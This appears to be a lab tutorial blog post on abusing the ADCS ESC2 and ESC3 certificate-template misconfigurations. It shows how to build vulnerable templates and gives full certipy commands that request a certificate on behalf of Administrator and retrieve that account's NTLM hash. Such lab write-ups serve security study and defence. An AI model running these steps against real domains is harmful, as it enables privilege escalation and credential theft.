ADCS Abuse Methods - ESC2 & ESC3
The ESC2 and ESC3 vulnerabilities are like same. This is why I cover the both in the same blog. We will be creating both vulnerability in ADCS and will exploit them.
Target Templates
When we exploiting both ESC2 and ESC3 vulnerabilities, there are two step to exploit. At the first step, attacker generates his certificate from the vulnerable template, and then with the attacker’s certificate we have to issue another certificate from any Target Template to get victim certificate. At default templates, User and Machine templates are example of Target Template. But there can be custom configured Target Templates too in the wild.
Target templates can be identified with related properties:
- Suitable for Client Authentication: It has to allow client authentication, like the
Client AuthenticationEKU. - Suitable for On-Behalf-Of: It has to be configured to allow an
Enrollment Agentto request certificates on behalf of other users to get the victim’s certificate. Generally, this feature comes withSchema Version 1templates likeUserandMachine. - Victim Can Enroll: The target victim user we will takeover can enroll in this template because of
on-behalf-of.
ESC2
ESC2 is based on when the template is configured with Any Purpose (2.5.29.37.0) EKU or no EKU set at all. As we can understand from the name of the EKU, the template can be used for “any purpose”. We can create an attacker certificate with it and then request on behalf of any high privileged users.
In normal terms, when an attacker issues a certificate for himself, he can only auth with that certificate for his own. But when an attacker generates a certificate from a template that has Any Purpose application policy, he can grant Certificate Request Agent (1.3.6.1.4.1.311.20.2.1) capability. This allows him to use that certificate with Target Templates to request on behalf of another user.
To exploit the ESC2 misconfigurations, we need these prerequisites:
- Any Purpose EKU or No EKU: A template that includes
Any PurposeEKU or has no EKU seted at all - Enrollment Rights: The attacker should be able to enroll the related template.
- No Effective Security Gates: The template shouldn’t enforce any manager-approval security controls.
- Target Template: The target template to issue via
Any Purposegenerated certificate.
Creating The Vulnerability

We will open the certtmpl.msc from Run

Then duplicate a certificate template to create our vulnerable one.

In the Subject Name section, we will configure the template for the build-from-AD option to match our conditions. This option prevents attackers from supplying their own identity.

Naming the template

In Extensions tab we will edit the Applications Policies.

Removing the old Application Policies

Adding only the Any Pupose EKU.

Final look for Extensions.

In Security tab we will give the Authenticated Users to Enroll
permission.

Run certsrv.msc to enable our new template

Right clicking Certifacte Templates and New > Certificate Template to Issue

Selecting new created ESC2 template, then OK
Exploitation
certipy find -u 'hacker@zion.local' -p 'Password123!' -dc-ip 192.168.100.10

When we enumerate the ADCS we can see the created ESC2 template is vulnerable to ESC2.
certipy req -u 'hacker@zion.local' -p 'Password123!' -ca 'zion-DC01-CA' -template 'ESC2' -dc-ip 192.168.100.10

Requesting the attacker’s certificate from vulnerable template ESC2

As I mentioned earlier, the built-in User template is an example of Target Template. When we examine the User template, we can see the conditions are met for a Target Template.
certipy req -u 'hacker@zion.local' -p 'Password123!' -ca 'zion-DC01-CA' -template 'User' -on-behalf-of 'Administrator' -pfx hacker.pfx -dc-ip 192.168.100.10

Requesting the first generated attacker’s certificate to User template on behalf of administrator user.
certipy auth -pfx administrator.pfx -dc-ip 192.168.100.10

Then authenticating with PKINIT to get NTLM hash
ESC3
As you can see above, there is an ESC3 vulnerability tag on the ESC2 template. This is because the main problem is actually caused by the Certificate Request Agent EKU. When we are exploiting the Any Purpose, we are determining our purpose to use Certificate Request Agent. So in this manner, we can say ESC2 and ESC3 are the same :)
To exploit the ESC3 misconfigurations, we need these prerequisites:
- Certificate Request Agent EKU: A template that includes
Certificate Request AgentEKU - Enrollment Rights: The attacker should be able to enroll the related template.
- No Effective Security Gates: The template shouldn’t enforce any manager-approval security controls.
- Target Template: The target template to issue via
Certificate Request Agentgenerated certificate.
Creating The Vulnerability
If we duplicate the ESC2 template that we created and change the EKU to only Certificate Request Agent, this will be only an ESC3 flaw instead of both.

Naming the template to ESC3

Editing Application Policies to Certificate Request Agent
Exploitation
certipy find -u 'hacker@zion.local' -p 'Password123!' -dc-ip 192.168.100.10

When we enumerate the ADCS we can see the created ESC3 template only vulnerable for ESC3
and if we do the magic again..
certipy req -u 'hacker@zion.local' -p 'Password123!' -ca 'zion-DC01-CA' -template 'ESC3' -dc-ip 192.168.100.10

Requesting the attacker’s certificate from vulnerable template ESC3
certipy req -u 'hacker@zion.local' -p 'Password123!' -ca 'zion-DC01-CA' -template 'User' -on-behalf-of 'Administrator' -pfx hacker.pfx -dc-ip 192.168.100.10

Requesting the first generated attacker’s certificate to User template on behalf of administrator user.
certipy auth -pfx administrator.pfx -dc-ip 192.168.100.10

Then authenticating with PKINIT to get NTLM hash